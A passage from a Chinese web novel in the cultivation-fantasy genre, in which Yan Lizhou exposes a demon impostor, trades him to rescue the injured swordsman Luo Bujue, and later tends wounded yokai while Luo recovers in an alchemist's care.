洛不觉忽然睁开了眼睛。 那眼神,不再是之前的虚弱,而是一种……带着几分戏谑的嘲笑。 燕黎舟的手僵在半空。 “真是令人感动啊, 燕黎舟。” 洛不觉开口,声音是熟悉的声音,却是和洛不觉截然不动的语调,嘴角勾起一抹诡异的弧度。 “为了我, 如此拼命。” 燕黎舟的瞳孔骤然收缩, 浑身的血液仿佛瞬间冻结。 这眼神, 这语气,绝不是洛不觉! “你是谁?!” 燕黎舟猛地后撤一步,无妄扇瞬间横在身前,目光死死锁定着岩壁旁那个顶着洛不觉面容的人。 “呵呵……” “洛不觉”低笑起来, 他抬手,轻轻抚摸着自己的脸颊,动作让人令人毛骨悚然。 “怎么了哥哥,不喜欢吗?” “这张脸, 是不是很像?为了模仿他,我可是下了不少功夫呢。” 说着,他的身形和面容开始扭曲,周身魔气涌动。 不过片刻,一个面容阴柔,眼神却充满了邪气的人出现在了原地,目光玩味地看着面前如临大敌的燕黎舟。 “自我介绍一下。” 那魔族微微颔首,姿态优雅却充满恶意,“谢灯主人座下,沃若。奉命在此,恭候多时了。” 燕黎舟咬牙,一瞬间他几乎要控制不住自己体内暴乱的妖气。 旁边嘻嘻也非常震惊,怪不得他看洛剑尊体内有那么多的杂气,原来如此。 看到燕黎舟的状况又赶忙飞过去扇风。 “别激动别激动,你这个功法千万不能激动,原本体内妖气就横冲直撞,万一走火入魔了……” “他在哪?!” 燕黎舟的声音听起来有些颤抖,压制着身体内暴动的妖气。 沃若似乎很满意他的反应,笑容愈发的深。 “哥哥。”他摸着这自己的这张脸,声音妩媚。 “你不认识沃若了吗?” “还是说,哥哥只喜欢女人的我?” 燕黎舟蹙眉,或许是因为沃若的话,他看着面前人的脸越看越熟悉。 半响,燕黎舟缓缓吐出来两个字:“魔女?” 沃若也很震惊:“哥哥竟然知道我这个称号,我似乎没有对外宣称这个称号吧。” “你对我这么了解?” 说着说着,沃若脸上冒出来可疑的红晕,好看的手轻轻捂住自己的脸。 燕黎舟人麻了,他咬了咬舌尖,感受到痛后又看了面前这个不要脸害羞的某人。 燕黎舟:“……” 魔女?男主的后宫,是个男的???? 燕黎舟已经被不想吐槽这个剧情歪成什么样子了,谢灯能是个gay? 旁边的嘻嘻:“……” 燕黎舟咬牙,压下心底的情绪,无妄扇指着沃若,不去管面前的人是男是女,谢灯是不是gay。 “洛不觉在哪里!” 沃若放下捂着脸的手,那双充满邪气的眼睛无辜地眨了眨,声音里带着几分委屈。 “哥哥好狠的心,只关心那个废人。” “沃若也是在水里泡了那么久,等了哥哥你那么久呢。” 他向前走了一步,无视横在自己面前的无妄扇,指了指自己现在这张脸。 “为了伪装成那个废人,人家可是把最喜欢的那张脸都不要了,恢复成这幅恶心的男人模样。” “哥哥也不安慰人家。” 沃若叹了口气,眼神却更加兴奋:“不过没关系,主人最近没空理我们,我们可以好好培养感情。” “哥哥难道不觉得,比起那个冷冰冰的废人洛不觉,我更有趣吗?” 沃若一口一个废人,就算是燕黎舟再傻也能明白洛不觉现在的状况非常不好。 “闭嘴!”他厉声呵斥道,眼底杀意翻涌,盯着沃若。 “人在哪!” 沃若看着这个样子的燕黎舟,浓绿色的妖气逼得他不得不正眼瞧面前这人,眼里流露出一丝震惊。 不过他脸上依旧没有流露出来什么恐惧的神色,反而舔了舔嘴唇。 朝燕黎舟抛了个媚眼:“哥哥生气的样子,也很好看呢。” 他拖长了语调,欣赏着燕黎舟脸上的焦急:“洛不觉现在可是被关在一个好地方,哥哥想要救他,不如……求求我?” “或许我心情好了,会告诉哥哥。” 燕黎舟见问不出来什么,干脆直接动手。 无妄扇展开,扇子边缘锋利,伴随着破空声直直朝向对方面门。 周围浓绿色的妖气环绕在扇子边缘,一看就不不好惹的大佬架势。 “啧,哥哥真是不解风情。” 沃若却没有一丝眼力见,想着就算燕黎舟进步再大也不可能短短时间内一步登天。 他身子往旁边撤开,嘴上调笑,同时宽大的袖袍一抖,袖子里燕黎舟十分眼熟的漆黑锁链冲出来,和无妄扇对上。 锁链缠上无妄扇不过一秒就被燕黎舟挣开,被碎成好几段,掉在地上。 沃若也不恼,翻个身袖子里又飞快窜出几根锁链,角度刁钻的绕向燕黎舟的四肢和脖颈。 燕黎舟眼神一凛,丝毫不去躲避,身形一闪险险避开,无妄扇改劈变削。 “叮!” 一阵火星四溅,燕黎舟不给沃若丝毫反应的机会,瞬间拉进自己和对方道距离,扇子一抛,自主地从后面转了个弯回来攻击沃若后面。 燕黎舟近身,招招拳拳到肉,每一拳砸到沃若身上,听声音就很重。 “砰!” 一拳击中了沃若心口,他身周围的魔气溃散开。 沃若闷哼一声,踉跄着后退。 燕黎舟得势不饶人,五指直直抓住沃若的喉咙,丝毫不留情。 沃若急着赶紧召回锁链格挡,燕黎舟不闪不避,任由锁链缠绕住自己的手臂,另一只手精准扣住沃若的手腕,用力一拧。 “啊!” 沃若痛呼出声,锁链瞬间回去控制软软地垂下来。 他身体僵住,周身翻涌的魔气彻底安静下来,只剩下碧绿色的妖气。 整个人软了下来,被燕黎舟死死控制住。 沃若又惊又恼,试图挣扎,却发现自己身体内的魔气被封印住了。 燕黎舟也能看出来是打疯了,嘻嘻一开始还在旁边较好,虽然心疼燕黎舟为了变强受的那些苦。 但这个想法直到他看见燕黎舟将沃若的手臂顺势反剪到身后,将人控制后,拳头狠狠砸向对方的脑袋,出血了也不停下。 “燕黎舟!” “燕黎舟!停下!” “要死了!别打了,真打死人了!” 嘻嘻赶忙飞到燕黎舟面前,双臂上下飞舞,试图唤回燕黎舟一丝理智。 燕黎舟喘着粗气,额角青筋微动,手臂上海传来刚刚被锁链缠着时的灼痛感。 他丝毫不在意。 燕黎舟扯下沃若腰间的储物袋,拿起一旁掉落的锁链将他的双手双脚牢牢捆住,打了个死结。 燕黎舟站起身,居高临下地看着被他捆成粽子的沃若,眼神冰冷没有丝毫温度。 在地上的沃若看见后莫名想到那个已经变成废物的人。 “你不说,没关系。” 燕黎舟声音沙哑,粗喘着气,整个人有些疲惫,语气却发狠地威胁人。 “用你去换洛不觉。” 燕黎舟不再看沃若死死瞪着他的眼睛,直接将他像是抗麻袋一样扛上肩头,自己却也因此踉跄了一下。 他稳了稳身形,呼吸粗重。 沃若身形修长,分量却不轻,燕黎舟此刻脊背挺得笔直,他并不理会旁边嘻嘻烦死人的话。 燕黎舟辨认了一下方向,扛着沃若朝着天上白云京冲去。 燕黎舟扛着沃若,一步步踏上通往主殿的漫长玉阶。 沿途的魔族守卫有看到他,以及他肩上那个熟悉的身影,无不色变。 纷纷举起自己的武器,却又不敢贸然上前,只能形成一道密不透风的包围圈,随着他的前进而移动。 大殿里,原本沈齐的位置上此刻坐着一个人。 ——汲子石。 他目光涣散,整个人像是被操控的木偶娃娃,身上像是使不上力气,整个人靠在灯身上。 看见燕黎舟,有些难堪地闭上眼睛。 旁边的谢灯却是一脸笑意,似乎早已等候多时。 他周身弥漫着深不可测的威压,目光盯着燕黎舟。 殿内殿外,魔兵魔将层层叠叠,成千上万的目光聚焦在孤身一人的燕黎舟身上。 燕黎舟停下脚步,看见汲子石表情也没有一丝改变,将肩膀上的沃若丢在地上。 “换洛不觉。”燕黎舟言简意赅。 沃若被重重摔在冰冷的地面上,发出一声闷响。 正中央座位上的汲子石听见自己师弟的名字,猛的睁开眼睛,双手扣紧座椅的扶手。 谢灯脸上的笑意更深了几分,带着一种猫捉老鼠般的戏谑。 他修长的手指有一下没一下地缠绕着汲子石散落的发丝,满是笑意的眼眸在燕黎舟和地上的沃若之间流转。 “哦?” 谢灯尾音微微上扬。 “用本座的一条狗,换你心心念念的那个人?你觉得……等价吗?” 他话音未落,地上的沃若却突然低低地笑了起来。 那笑声带着一种令人不适的黏腻感。 “主人……” 沃若抬起头,虽然狼狈,眼神却直勾勾地看向谢灯,语气里却带着一丝的威胁。 “您可不能……不换我啊。” 这话语中的意思,任谁都能听出来。 周围一些高阶魔将的眼神都微微闪烁了一下,齐齐看向高处的谢灯—— 作者有话说:对不起,这章的内容提要实在不知道写什么了[闭嘴] 凑合一下吧,就怕卡文的人灵机一动[抱抱] 第80章 谢灯把玩发丝的手指微微一顿, 眼底深处掠过一丝极淡的寒意,但面上笑容不变。 他俯视着燕黎舟,仿佛在欣赏他孤立无援的困境。 “看来, 本座似乎没有太多选择?” 谢灯轻笑一声, 只是表情依旧没有什么很大的起伏。 “不过, 本座很好奇, 就算把人给你, 你……走得出这里吗?” 他话音刚落,殿外成千上万的魔兵齐声低吼, 周围魔气浓郁, 像是下一秒就会将燕黎舟吞干抹净。 燕黎舟脊梁依旧挺得笔直,无妄扇悄然滑入手中,浓绿色的妖力在周身流转。 他没有回答谢灯的问题, 只是重复道,声音比之前更加坚定。 “换洛不觉。” 他的目光死死盯着谢灯,哪怕身处下位也丝毫没有退缩的意思。 哪怕被万千人马包围,他也要把洛不觉换回来。 谢灯盯着他看了片刻, 忽然觉得有些无趣般摆了摆手。 “带上来。” 两名魔卫押着一个身影从侧殿走出。 洛不觉比沃若伪装的模样还要更加虚弱, 几乎完全依靠魔卫的拖拽才能移动, 头无力地垂着,气息微弱得仿佛下一秒就会断绝。 燕黎舟在看到洛不觉时紧紧抿了一下唇,睫毛颤了颤,几乎是瞬间眉头就皱在一起。 “人带来了。”谢灯语气平淡。 “交换吧。” 燕黎舟强压下翻涌的情绪, 用脚踢了踢地上的沃若,意思不言而喻。 一名魔将上前,解开了沃若身上的束缚。 沃若活动了一下手腕,慢悠悠地站起身, 先是意味深长地看了谢灯一眼,然后才对燕黎舟露出一个笑容。 然后继续黏糊的语调,慢悠悠的道:“哥哥,你好凶啊。” 燕黎舟根本无视他,全部注意力都集中在被魔卫押送过来的洛不觉身上。 就在洛不觉被魔卫推向燕黎舟,两人之间仅有一步之遥时。 燕黎舟眼中神色一闪,并未立刻去接洛不觉,而是猛地抬脚,狠狠踹在刚站起身走向对面的沃若背后! “噗!” 沃若猝不及防,被这一脚踹得向前踉跄扑去,正好撞向那两名押送洛不觉的魔卫。 两名魔卫下意识地伸手去挡或躲闪,对洛不觉的控制顿时一松。 燕黎舟猛的向前,并非直接去拉洛不觉,而是无妄扇横扫,逼退左侧魔卫。 同时伸手一挥,手里早已准备好的数颗种子弹射而出,落在右侧魔卫脚下! 种子瞬间疯长,化作坚韧带刺的藤蔓,死死缠住了魔兵的双脚! 几乎在同一时刻,一直没发挥自己作用的嘻嘻爆发,浓雾瞬间弥漫开来。 不仅笼罩了燕黎舟和洛不觉,也将附近一小片区域变得模糊不清! “动手!” “拦住他!” 殿内殿外,魔族怒吼声四起。 燕黎舟已经一把将几乎软倒的洛不觉拦腰抱起,紧紧抱在怀里。 “没事,我带你出去。” 洛不觉整个人都晕过去,倒在燕黎舟身上不省人事。 燕黎舟感受到对方传到自己身上的灼烫体温,面前被魔族围得水泄不通。 “我带你出去。” 这五个字燕黎舟像是轻叹着说出来的,话慢慢散开,轻飘飘的,只有他自己听见。 燕黎舟将洛不觉的脸颊往自己颈侧按了按,对方滚烫的体温刺激得燕黎舟顿了一下。 旋即脚下用力,飞快地朝着外面冲出去。 “拦住他!” 燕黎舟左手紧紧抱着洛不觉,右手无妄扇舞得飞起,魔兵铠甲在燕黎舟手下像是纸一样轻易被扇子划开,腥臭的血液泼洒到燕黎舟身上。 他丝毫不介意,也不恋战。 “燕黎舟!” 一只箭从一个刁钻的角度朝着燕黎舟刺过来,嘻嘻注意到了大喊提醒。 燕黎舟迅速躲闪,但还是有一支箭擦着燕黎舟身体。 燕黎舟踉跄半步,但抱着洛不觉的手依旧很稳,他反手抛出几粒种子。 种子落地疯长,带着刺的藤蔓瞬间绞住几个魔兵的喉咙。 燕黎舟气息肉眼可见的虚弱,但战斗力不见丝毫减弱。 哪怕面对那么多魔兵的围剿,燕黎舟有信心将洛不觉带出去。 “往东侧走!”嘻嘻喊。 大殿中,谢灯见状就要起身,却被座位上的汲子石猛地抓住手腕。 谢灯垂眸,几秒后忽的轻笑一声:“师尊,您答应了?” 汲子石不说话,谢灯也只是轻笑一声,缓缓又坐下来,不再去管。 燕黎舟折身冲向偏殿,迎面又撞上几名魔将。 为首者手里的巨大斧头没有丝毫犹豫朝着燕黎舟劈下来,燕黎舟侧身用无妄扇硬接。 他们见攻击燕黎舟不成,转眼攻击燕黎舟怀里的洛不觉。 “滚开!” 燕黎舟瞳孔骤缩,竟然直接用自己肩膀撞向那几柄斧头,斧头砍进皮肉里,燕黎舟却松了口气。 他借势转身,斧头从身体里又拔出来,染血的扇骨捅进魔族的眼眶里。 冲出偏殿时,燕黎舟浑身是血。 周围又聚起了浓雾,燕黎舟的身影在其中踉跄着。 周围云雾缭绕,雪白的云阶上留下他深深的血脚印。 天上白云京向来仙气白雪,哪怕是被魔族攻占后也只是显得灰败,沾满了血的燕黎舟与魔族比起来更格格不入。 看着面前围满了的魔族,燕黎舟用力将洛不觉往背上托了托,对方滚烫的呼吸抚过燕黎舟后颈。 “嘻嘻。” 旁边的嘻嘻严阵以待,见燕黎舟喊他,瞬间激起一阵浓雾,将众人的视线模糊掉。 “……” 当燕黎舟抱着人冲出去的时候,背后数不尽的伤口,衣服也因为利器被砍得破破烂烂的。 身后的追兵全都被他甩掉了。 燕黎舟也再支撑不住,膝盖一软,单膝跪倒在地,却仍用尽最后力气将怀中的人稳稳护住,没让洛不觉受到丝毫磕碰。 “咳……咳咳……” 剧烈的咳嗽牵动了他身上无数伤口,鲜血从撕裂的衣袍下不断渗出。 他低头,看向怀中的洛不觉。 对方依旧昏迷着,苍白的脸几乎透明,长睫紧闭,眉心微微蹙着。 他小心翼翼地将洛不觉放在一处背风的大石旁,擦去自己手上的血后这才颤抖着伸出手,轻柔地拂开洛不觉额前被汗水黏住的发丝。 指尖传来的温度烫人。 燕黎舟伸手探上洛不觉的手腕,洛不觉体内空空荡荡,原本应该是浓厚灵力的地方,燕黎舟探不到一点。 燕黎舟抿紧苍白的唇,从储物袋里找出疗伤的丹药,小心地喂入洛不觉口中,又取出清水,一点点润湿他干裂起皮的嘴唇。 做完这一切,他才靠坐在旁边的石头上,剧烈地喘息着。 看着洛不觉紧闭着的双眼,悄悄伸手握住洛不觉的手。 失血过多和灵力透支带来的眩晕感一阵阵袭来。 燕黎舟咬紧舌尖,强迫自己保持清醒,目光一眨不眨地盯着面前的人。 “洛不觉。” “怎么办啊。” 燕黎舟声音哽咽,滚烫的泪水毫无预兆地夺眶而出,混着脸上被溅上的血,砸落在洛不觉的手背上。 “对不起……” 燕黎舟低垂着头,眼泪一颗接着一颗,好似比洛不觉的体温还要烫。 就在这时,燕黎舟感受到他紧握的那只手,微微地动了一下。 燕黎舟猛地抬头,泪眼模糊中,对上了一双熟悉的清冷眸子。 洛不觉看着燕黎舟满脸的泪和血,看着对方通红的眼眶,怔了一下。 他张了张嘴,喉咙里发出沙哑破碎的气音,几乎听不清。 但燕黎舟看懂了那个口型。 他说。 “……别哭。” 燕黎舟也愣了,眼泪却依旧不听话地往下掉,顺着脸颊滑落,留下狼狈的痕迹。 他慌忙抬起手,用手背胡乱地在脸上抹着,想要擦去那些不争气的证据,结果却越抹越脏。 但还是嘴硬道:“我没哭。” 燕黎舟偏过头,声音闷闷的,带着浓重的鼻音。 洛不觉静静地看着他,那双眸子里没有丝毫修为尽失的绝望,只有一片近乎温柔的平静。 和心疼。 他动了动被燕黎舟紧紧握住的手指,用尽力气轻轻回握了一下。 那力道轻得几乎感觉不到。 燕黎舟身体微微一僵,转回头,泛红的眼睛怔怔地看着洛不觉。 洛不觉看着他这副模样,嘴角缓慢地牵起一个微小的弧度。 那笑容很淡,很虚弱,燕黎舟鲜少看见洛不觉笑。 他看见洛不觉再次动了动嘴唇。 “嗯,你没哭。” 燕黎舟的眼泪一下子又涌了上来,他赶紧低下头,用力眨了眨眼睛。 他没有再否认,只是更紧地回握住洛不觉的手。 燕黎舟深吸一口气,重新抬起头,他看着洛不觉的眼睛,一字一句,郑重承诺。 “我一定会让你好起来。” 燕黎舟说完就要起身寻找更安全的栖身之所,体内却猛地一阵气血翻涌。 他脸色瞬间变得比洛不觉还要苍白,一股寒冷的气息毫无预兆地从丹田深处爆发,迅速窜向四肢百骸。 洛不觉察觉到,伸手拽了拽燕黎舟的衣服。 “怎么了。” “没事。” 燕黎舟面上表情没有丝毫改变:“刚刚扯动了伤口,我去找点药,疼死了。” 他抱怨道,尽量让洛不觉察觉不出异常。 走出老远后,燕黎舟确定洛不觉看不见他了后,才控制不住吐出一口血。 嘻嘻大惊,飞快飘到燕黎舟面前。 “怎么回事,怎么回事啊,怎么办啊怎么办啊。” 妖力在燕黎舟经脉中横冲直撞,痛的他想要立刻死掉。 那本功法的副作用在此刻体现的淋漓尽致。 燕黎舟咳嗽两声,忽的想起什么,低头在储物袋里翻找着。 嘻嘻飘过来凑到面前,又被燕黎舟一手挥到旁边。 他在空中转了几个圈后,看见燕黎舟从储物袋里拿出来那颗小老头给的丹药。 嘻嘻大喜过望。 “对对对,你总算听话一次了!” “燕黎舟,快吃了,洛剑尊也救出来了,我们快点把身子养好……你去哪!”—— 作者有话说:呜呜呜呜,盐粒子我心疼你[爆哭] 80-90 第81章 燕黎舟迅速朝着洛不觉的方向飞奔回去, 洛不觉意识已经开始模糊,见燕黎舟突然回来强撑起自己精神。 他第一时间就注意到燕黎舟嘴边的鲜血。 “怎么吐血了,是不是很疼。” “不疼, 我没事。” 燕黎舟的声音沙哑得厉害, 带着急促的喘息。 他跪坐在洛不觉身边, 双手颤抖得几乎握不住那枚丹药。 他小心地托起洛不觉的后颈, 颤抖着将那颗丹药递到洛不觉唇边。 “吃下去……” 他几乎是祈求地看着洛不觉。 “洛不觉, 吃下去,求你了……” 洛不觉似乎是明白了什么, 他早就感受到自己身体内空空荡荡的, 他比燕黎舟还要明白失去修为后以后只可能是一个废物。 但对上燕黎舟的眼睛,他还是张开嘴,丹药入口即化。 洛不觉闷哼一声, 最后一丝强撑的意识彻底涣散,身体软软地倒在燕黎舟怀中,陷入了深度的昏迷。 “洛不觉!” 燕黎舟被这一下吓的心脏骤停,慌忙探向他的鼻息和脉搏。 指尖下, 那原本几乎察觉不到的脉搏, 虽然依旧缓慢, 却不再是之前那般微弱的要消失了。 对方苍白的脸颊上也隐约泛起一丝极淡的血色,不再是死气沉沉的灰白。 丹药起效了! 燕黎舟悬着的心终于落下了一半,功法副作用带来的剧痛和积累的疲惫让他眼前阵阵发黑。 他死死咬住舌尖,强迫自己保持清醒。 燕黎舟紧紧抱着洛不觉, 他不敢耽搁,将洛不觉小心背起。 “你们要去哪?” 突然一道略显苍老却中气十足的声音毫无预兆地在燕黎舟身后响起。 燕黎舟猛地回头,全身肌肉瞬间绷紧,妖力下意识凝聚, 却在看清来人时愣住。 只见一个身着灰色道袍的老者,正双手抱胸,皱着眉头看着他。 老者面容看起来约莫五六十岁,眉眼间依稀可见年轻时的俊朗,但此刻眉宇间却锁着一股挥之不去的暴躁和不耐烦。 燕黎舟一眼就认出来这人。 李长风。 “你怎么在这?” 李长风似是有些惊讶:“你认识我?” 燕黎舟哽了一下,最终缓慢摇头,他背着洛不觉。 似有千斤重,但又怕他不重。 “啧。”李长风不耐烦地咂了下嘴。 “搞成这副鬼样子……” 他像是没看到燕黎舟的戒备,直接大步走到面前,伸手就要去探洛不觉的脉搏。 “别碰他!” 燕黎舟猛地后退一步。 李长风的手顿在半空,暴躁地瞪向燕黎舟。 “喊什么喊!老夫要是想对你们不利,刚才就直接一炉鼎砸过来了!还用得着跟你废话?” 他的语气冲得很。 “哼!” 燕黎舟抿了下唇,面前李长风虽然语气恶劣,但眼神里并无杀意。 他犹豫了一下。 李长风见他迟疑,更加不耐烦了,直接道。 “少犹豫!老子是丹师,不是屠夫!再磨蹭,洛剑尊死了可别怪我!” 说着,他不管燕黎舟,强行上前,粗糙的手指搭上了洛不觉的手腕。 燕黎舟这次没再拦。 片刻后,李长风脸色微变,诧异地看了一眼燕黎舟。 “咦?” “他体内居然有一股奇特的药力护住心脉,居然还在修复他的丹田?你小子给他吃了什么?” 燕黎舟紧绷的神经稍稍放松了一丝,但仍不敢大意,低声道:“……一枚丹药。” “废话!” 李长风白眼一翻:“老子还不知道是丹药?什么品阶的?何种药材炼的?药性居然这么神奇。” 他絮絮叨叨地追问,手上动作却不慢,又从储物袋里摸出几个瓶瓶罐罐,倒出几粒清香扑鼻的丹药,作势就要往洛不觉嘴里塞。 燕黎舟下意识地又想阻拦。 李长风彻底毛了:“啧!手滚一边去!” “再碍事,连你一起治!治好了再打一顿!我李长风行事,还用跟你这小妖怪解释?!” 他虽吼得凶,但动作却异常小心,将丹药喂给洛不觉后,又运起温和的灵力,助其化开药力。 做完一切后才有转头看向灰头土脸的小妖怪。 “走吧,这儿可被那些魔族都给包圆了,你走,他们都能找着你。” 李长风声音不大,看着远方不知道什么东西,叹了口气。 “来我府上吧,我宗虽然出了个玩意东西,但也不能怪他。” “怪不了他。” 李长风忽的喃喃道,就在燕黎舟犹豫着自己要不要直接走的时候,对方似乎察觉到了他的想法。 说完转身就走了,不管燕黎舟跟没跟上来。 燕黎舟在原地站了一会儿。 周围空荡荡的,这里应该是他们第一次见面时,洛不觉将燕黎舟捡起来的地方。 此刻却没见有一根草。 冬天到了。 燕黎舟在李长风走出几步后就紧紧跟在人身后:“你刚刚那话是什么意思?” 李长风顿了一下,头也不偏,定定地看着面前的路。 “没什么,没什么好说的。” “哦。”燕黎舟懂事的没去问,低着头顺着李长风的视线看着前面。 “不继续问吗?听沈齐说的,你应该问问我的。” 燕黎舟一愣:“沈掌门?” “昂,他也在我府上。” 李长风随意道,回想着沈齐和他描述的这个叫作燕黎舟的草精时的话。 很快燕黎舟就被李长风带到自己府上,这里似乎并没有发生一点改变,府上的仆人见到李长风全部规规矩矩的。 看见燕黎舟和洛不觉也没有什么特别的反应,反倒是主动上前要从燕黎舟手里接过洛不觉。 燕黎舟不撒手,这时从旁边,沈齐不知道什么时候钻出来。 “给他吧,让师弟下去疗伤。” 燕黎舟胸口有些酸,内心依旧不愿意撒手,但他知道,他不应该这样。 李长风在一旁看得不耐烦,啧了一声。 “磨蹭什么!赶紧把这小子送去药泉!” 他指挥着那两个仆从。 “小心点抬!要是因为你们磕着碰着伤势加重,老子把你们也扔进丹炉里炼了!” 仆从显然熟知他的脾气,动作愈发轻柔谨慎,从燕黎舟那里将洛不觉稳稳地接了过去。 燕黎舟的手指下意识蜷缩了一下,终究还是缓缓松开。 他的目光紧紧追随着被抬走的洛不觉,直到那身影消失。 沈齐来到燕黎舟面前,郑重道:“谢谢。” 燕黎舟没说话。 沈齐也不在意,只是低声道:“你也伤得不轻,让李丹师给你看看。” “我没事。” 燕黎舟哑声回道,声音干涩。 他此刻确实浑身剧痛,妖力紊乱,但这都是那本功法的副作用,看了也是白看。 李长风冷哼一声,一把抓过他的手腕,力道大得不容拒绝。 粗糙的手指搭上脉搏,李长风的眉头越皱越紧。 下一秒直接开骂:“你这小妖怪是嫌命长是吧?” “说难听点丹田都快碎成渣了,你现在能站着都是奇迹!” 他一边骂,一边粗暴地从储物袋里掏出几个药瓶,塞进燕黎舟手里。 “红的內服,绿的外敷!赶紧滚去处理,死在我这儿都嫌晦气!” 燕黎舟握着那几瓶还带着李长风体温的丹药,心中五味杂陈。 他低声道谢,但还是把药推回去:“给洛不觉。” “给个屁!”李长风甩袖。 “老夫这里丹药多的是,不差你这两颗!” 沈齐无奈地摇摇头,对燕黎舟道:“跟我来吧,先去安顿下来。” 燕黎舟只能默默跟上沈齐,穿过几重庭院,来到一处清净的偏房。 房间布置简洁,却一尘不染。 “这里很安全,你安心养伤。”沈齐说道。 顿了顿,他看着燕黎舟,眼神复杂:“燕黎舟,这次真的多亏了你。若不是你,洛师弟他……” 燕黎舟打断了他,抬起头,目光直视沈齐。 “沈掌门,你怎么会在这里?” 沈齐闻言眼底闪过一丝痛苦,沉默片刻,才缓缓开口。 “谢灯早就入魔,是我们没有及时察觉,被打了个措手不及。” “宗门内出了叛徒,魔族很轻易就攻了进来,后来,就是李宗主为了族民叛变投魔。” “李家这里才得以没有被魔族侵占。” “李丹师救了我,后来就一直把我藏在府上。” 沈齐最后叹了口气,嘱咐:“你好好休息吧,这里还是安全的。” 燕黎舟沉默的盯着手机李长风塞给他的丹药好半会儿,最终拿起那瓶红色丹药,倒出一粒吞服下去。 温和的药力化开,稍稍抚平了经脉中刀割般的痛楚。 好疼啊洛不觉。 * 洛不觉被安置在一处灵气充裕的药泉中。 哪怕有李长风精湛的医术和无数珍稀丹药在,此刻的他依旧昏迷不醒。 燕黎舟总是静静地坐在洛不觉旁边,目光描摹着洛不觉的眉眼,一坐就是很久。 他有时候会低声对洛不觉说些无关紧要的话,哪怕得不到任何回应。 李长风偶尔会过来查看,依旧是那副暴躁的模样,骂骂咧咧地检查洛不觉的状况,顺便也粗暴地给燕黎舟诊脉,扔下新的丹药。 燕黎舟每次都默默接过,道谢,然后看着他离开。 “洛不觉。” “冬天到了。” “你怎么还没有醒啊。” “洛不觉,外面下雪了。” 燕黎舟看着窗外飘落的细雪,顿了顿,声音更低了些,“这里的雪……是碎的。” “李老头今天又骂我了。” 燕黎舟扯了扯嘴角,像是在笑,眼底却没什么笑意。 “其实我知道,他是看我脸色太差,想赶我回去休息。” “沈掌门来看过你,他没说什么,站了一会儿就走了。他瘦了很多。” 燕黎舟话越说越慢,逐渐就没了声音,嘻嘻趴在肩膀上,见状回头看了燕黎舟一眼。 只见他低垂着眼睛,长长的睫毛在苍白的脸颊上投下浅淡的阴影,遮掩住了眸底的情绪。 燕黎舟握着洛不觉的手无意识地收紧了几分—— 作者有话说:原本盐粒子作为一棵小草在冬天就很虚弱,再加上功法反噬,他一个人要支撑自己和嘻嘻两个人的妖力消耗 洛不觉后期会好的,小老头给的丹药很强劲,可能需要小洛多睡一会儿,他也确实很辛苦了。 就是可怜了我盐粒子[爆哭][爆哭] 接下来很多打打杀杀的剧情可能会一笔带过 (原本这段剧情想象中设计的是力透纸背,如漆似胶的一笔,现实是我掺了很多水,那都是我的眼泪[爆哭]) 主要是最近这几章打打杀杀写的太多了,我已经想不到新的招式了,大家也肯定是想要跳过看小情侣的对不对~[害羞][害羞] 第82章 燕黎舟来到一处山谷, 这里应该是是几个小妖部族的栖息地。 洛不觉的药需要几味药材,燕黎舟主动出去找。 按照李长风的指示,燕黎舟对着地图一步一步走。 嘻嘻打量着周围一片狼藉的废墟, 焦黑的树木东倒西歪的。 “是这里吗?” “黎舟, 你是不是找错地方了。” 燕黎舟没回话, 同样在警惕的打量着周围。 在这里, 断角和残肢鳞片随处可见。 “谁在那!” 燕黎舟敏锐地发现几个躲在废墟里的妖怪。 他们全身是伤, 眼神麻木。 几个瘦骨嶙峋的小妖崽挤在一起,啃食着带着泥的草根, 看见燕黎舟嘴里发出细微的呜咽。 一个年老的树妖, 半边身子都被烧焦,靠在断裂的树桩上,气息奄奄。 他看到燕黎舟, 浑浊的眼睛动了动,张了张嘴发出沙哑的声音。 “是,是魔族的……大人吗?求求您……给个痛快吧。” 树妖说话断断续续的,十分虚弱。 燕黎舟身子一怔, 他走到老树妖身边, 蹲下身。 “我不是魔族。” 老树妖愣了一下, 认出燕黎舟身上的妖气,眼睛亮了亮,旋即又充斥着更深的痛苦。 “妖……是妖族的大人!” 老树妖的声音带着哭腔。 “没用……都没用了……魔族……他们把壮年的都抓了,他们杀妖怪……” “他们挖掉了好多妖怪的妖丹, 都死了……” “人类说我们是低贱的牲畜,也不愿意救我们。” 他断断续续地诉说着,在人族的压迫下,妖怪本就艰难, 现在又多了个魔族。 他们夹在中间,原本就势弱的妖族,处境更是生不如死。 妖怪们被肆意奴役,虐杀,无论人族又或者魔类,连反抗的念头几乎都被磨灭干净了。 “我们……只是想活着,怎么就这么难……” 老树妖老泪纵横。 燕黎舟沉默地听着,拳头死死握紧,指甲深深陷入掌心。 氛围太压抑了。 燕黎舟下意识想逃。 可又能逃到哪里去? 这里早就不是他的那个世界了,他也早就不是他了。 仙门自身难保,人类视妖为异类,魔族更是将妖当作可以随意践踏的草芥。 燕黎舟很早就已经没有的地方可以去了。 他缓缓松开紧握的拳头,掌心留下了深深的印痕。 燕黎舟没有说话,只是沉默地站起身,目光再次扫过面前的土地。 “嘻嘻。”他低声对肩头的雾气说。 燕黎舟:“我们回去。” 他按照李长风的指示,艰难地寻到了所需的几味药材。 带着药材,燕黎舟回到了李长风的别府。 燕黎舟将药材交给依旧见面就骂骂咧咧的李长风,又去药泉边静静守了洛不觉片刻。 看着洛不觉依旧沉睡却平稳的容颜,他伸出手,极轻地碰了碰他的脸颊。 “等我。” 燕黎舟低声道。 …… 燕黎舟重新回到那个山谷,面对自己的同伴。 他没有说什么鼓舞人心的大话,只是将带来的丹药分发给伤者,帮着一起清理屋子。 燕黎舟建的房子很简陋,勉强遮风,但不保暖。 一开始,那些妖怪们还只是在一旁安静地看着,不敢靠近。 嘻嘻倒是气急败坏:“破房子,他们也是,一点眼力见没有,干看着你一个人在这里忙活。” 燕黎舟不说话,房子没建好,他就靠着和那些妖怪一样靠着瓦砖睡。 随着燕黎舟那简陋的房子建好,却依旧什么也挡不住的时候,一些妖怪才慢慢跟着帮忙。 “这个,不能这么搭。” 一晃数日,寒来暑往,春秋也很快过去。 燕黎舟待在屋子里,看着手里沈齐传来的书信,指腹捻搓着。 “咳咳……” 一阵低咳突然打破了寂静,燕黎舟迅速握拳抵在唇边,肩背微微颤动。 好一会儿,咳嗽才平复下来,血锈味充斥在燕黎舟的嘴巴里。 他面无表情地擦去嘴角咳出来的血,仿佛早已习惯。 “黎舟!” 嘻嘻焦急的声音在他脑海中响起,雾气从他面前涌出,凝聚成一小团。 它小小一团绕着他沾染了血迹的手打转。 